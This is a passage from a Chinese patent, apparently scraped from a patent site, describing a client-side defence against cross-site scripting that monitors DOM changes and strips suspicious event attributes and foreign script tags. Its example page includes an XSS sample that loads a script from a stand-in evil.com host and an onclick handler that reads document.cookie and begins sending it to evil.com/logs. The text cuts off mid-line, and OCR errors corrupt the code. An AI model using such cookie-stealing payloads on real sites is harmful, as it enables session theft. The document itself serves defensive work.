跨站脚本攻击的防御方法及系统的制作方法

文档序号:9828197阅读:1817来源:国知局
跨站脚本攻击的防御方法及系统的制作方法
【技术领域】
[0001 ] 本申请涉及网站安全的技术领域,尤其涉及跨站脚本攻击的防御方法及系统。
【背景技术】
[0002]跨站脚本攻击(Cross S i te Script ing,XSS),攻击者往网页里嵌入恶意代码,当客户端获取网页数据时,嵌入的恶意代码被执行,达到恶意攻击的目的。利用网站漏洞盗取信息,以及进行非法操作,如盗取网银帐号、管理员帐号或商业资料,控制企业数据(读取、篡改、添加、删除企业敏感数据),非法转账,强制发送电子邮件或网站挂马等等。可见XSS构成了网络业务的最大威胁之一,不仅危害了业务本身,对访问网络业务的用户也会带来了影响。所以防御跨站脚本攻击,能够保障网络业务的安全性。
[0003]现有的XSS的防御方法,通常有以下两种方式来防御XSS:
[0004]方法一:采用特征匹配方式,在所有提交的信息中都进行检查,即对“javascript”这个关键词进行检索,一旦发现提交的信息中包含“javascript”,就报警认定为攻击事件。但是,这样会检测到大量的非攻击事件,并且攻击者可以通过插入字符或完全编码的方式躲避检测,导致检测结果不准确。
[0005]方法二:在用户数据输入到客户端之前,对用户数据进行相关的转义和过滤的方式,将用户数据转义成信任的数据,以及将用户数据进行白名单或者黑名单过滤,从而输出无攻击性的数据到客户端。对用户数据进行转义和过滤时,需要考虑各种客户端的执行环境,运行效率低。当客户端浏览器处理完网页数据之后,采用额外的代码,对网页数据中的脚本和内联脚本扫描分析。但是由于扫描的时机发生在页面加载完成之后,如果黑客将攻击完之后的事件删除,就检测不到跨站脚本攻击的事件了。

【发明内容】

[0006]本申请实施例的目的是,提供一种跨站脚本攻击的防御方法及系统,以解决现有技术中在跨站脚本攻击的防御中,检测到非攻击事件、检测不到攻击事件、运行效率低以及检测不准确问题。
[0007]为实现上述目的,本申请提供了如下方案:
[0008]一种跨站脚本攻击的防御方法,所述方法包括:接收服务器发送的网页数据,所述网页数据包括检测装置脚本;对网页数据进行处理时,根据网页数据的排列顺序,将网页数据创建为模型;当检测到模型包括第一属性事件时,获取第一属性事件的第一属性值;当第一属性值的长度大于第一阈值时,报警并删除第一属性事件;当检测到模型包括脚本标签时,检测脚本标签是否具有源地址属性;如果脚本标签具有源地址属性时,当检测到源地址属性的路径不属于第一区域时,报警并删除脚本标签。
[0009]一种跨站脚本攻击的防御系统,所述系统包括:接收单元,用于接收服务器发送的网页数据,所述网页数据包括检测装置脚本;创建单元,用于对网页数据进行处理时,根据网页数据的排列顺序,将网页数据创建为模型;获取单元,用于当检测到模型包括第一属性事件时,获取第一属性事件的第一属性值;处理单元,用于当第一属性值的长度大于第一阈值时,报警并删除第一属性事件;检测单元,用于当检测到模型包括脚本标签时,检测脚本标签是否具有源地址属性;所述处理单元,还用于如果脚本标签具有源地址属性时,当检测到源地址属性的路径不属于第一区域时,报警并删除脚本标签。
[0010]根据本申请提供的具体实施例,本申请公开了以下技术效果:
[0011]本申请实施例提供的跨站脚本攻击的防御方法及系统,接收服务器发送的网页数据,所述网页数据包括检测装置脚本;对网页数据进行处理时,将网页数据创建为模型;当检测到模型包括第一属性事件时,当第一属性事件的第一属性值大于第一阈值时,报警并删除第一属性事件;当检测到模型包括脚本标签时,当检测到脚本标签的源地址属性的路径不属于第一区域时,报警并删除脚本标签。可以准确地检测到攻击事件,实时地对攻击事件进行拦截、处理和报警,运行效率高,对网站起到良好的防御功能。
[0012]当然,实施本申请的任一产品并不一定需要同时达到以上所述的所有优点。
【附图说明】
[0013]为了更清楚地说明本申请实施例或现有技术中的技术方案,下面将对实施例中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图仅仅是本申请的一些实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
[0014]图1为本申请实施例一提供的跨站脚本攻击的防御方法流程图;
[0015]图2为本申请实施例二提供的跨站脚本攻击的防御方法具体流程图;
[0016]图3为本申请实施例三提供的跨站脚本攻击的防御系统示意图。
【具体实施方式】
[0017]为了更好地理解本申请,下面通过附图和实施例,对本发明的技术方案做进一步的详细描述。
[0018]本申请实施例提供的跨站脚本攻击的防御方法,应用于防御网站被跨站脚本攻击。首先,当客户端向服务器发送请求后,接收到服务器的响应消息,服务器将响应消息的网页在网站上展示时,在网页数据中会被跨站嵌入的恶意代码攻击网页数据的脚本。本申请实施例提供的跨站脚本攻击的防御方法,可以防御网页数据的脚本被跨站攻击,使得客户端接收到安全的网页数据。
[0019]实施例一
[0020]图1为本申请实施例一提供的跨站脚本攻击的防御方法流程图。本实例适用于网页数据的处理场景,并且该实施例可以由客户端执行。
[0021]如图1所示,本申请跨站脚本攻击的防御方法具体包括以下步骤:
[0022]步骤101、接收服务器发送的网页数据,所述网页数据包括检测装置脚本;
[0023]客户端接收服务器发送的网页数据。首先,客户端给服务器发送请求,再接收服务器响应的网页数据。这里的网页数据与普通的网页数据不同之处在于,网页数据包括检测装置脚本。
[0024]可选地,所述检测装置脚本位于所述网页数据头标签后的第一行。例如,所述检测装置脚本位于所述网页数据头head标签后的第一行。检测装置脚本用于检测网页数据动态变化的行为,防御网页数据被攻击。检测装置脚本位于所述网页数据头标签后的第一行时,可以快速的检测到网页数据动态变化的行为发生,有效地避免网页数据被攻击,提高了客户端的防御效率。
[0025]例如,网页数据的检测装置脚本:〈metacharset = 〃utf_8〃> ;<meta http-equiv=^X-UA-Compat ible〃content = 〃IE = edge〃>。下面的代码是服务器发送的网页数据的示例:
[0026]< ! DOCTYPE html>
[0027]〈html Iang = "zh_CN">
[0028]〈head〉
[0029]< !—监控检测脚本一>
[0030]<scr ipt>
[0031]var observer = new Mutat 1nObserver (funct 1n (mutat 1ns) {
[0032]Η在文档的最开始,就注册页面DOM改变的事件
[0033]Il后面所有DOM的改变,都会触发该函数
[0034]//mutat 1ns包含了变动元素的标签和属性等等所有信息
[0035]});
[0036]observer, observe(document, {
[0037]subtree: true,
[0038]childList: true
[0039]});
[0040]document.addEventListener (' DOMNodeInserted' , funct 1n(e) {
[0041]Il当页面节点被插入的时候,这里可以进行捕获,从而进行处理
[0042]}, true);
[0043]〈/script〉
[0044]< !—监控检测脚本一>
[0045]〈meta charset = "utf-8">
[0046]〈meta http-equiv = ^X-UA-Compatible^content = "IE = edge">
[0047]<title>Demo</title>
[0048]< !—危险的脚本引入一>
[0049]〈script src = ^http://www.evil, com/evil.js^X/script)
[0050]< !—收信人的脚本一>
[0051]〈script src = ^http://www.trust, com/trust.js^X/script)
[0052]〈/head〉
[0053]〈body〉
[0054]<hl>lHello, world ! </hl>
[0055]< ! —one I ick属性值是无害的一>
[0056]〈button class = "ok"onclick = "alert () ;">0K Cl ick Me〈/button>
[0057]< ! —oncl ick属性值是有害一>
[0058]〈button class = "nook"
[0059]onclick = ’ funct1n evil (){var cookie = document, cookie ;var remoteUrl="http://www.evil.com/logs ? cookie = ;var img = new Image () ;i
当前第1页1 2 3 
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1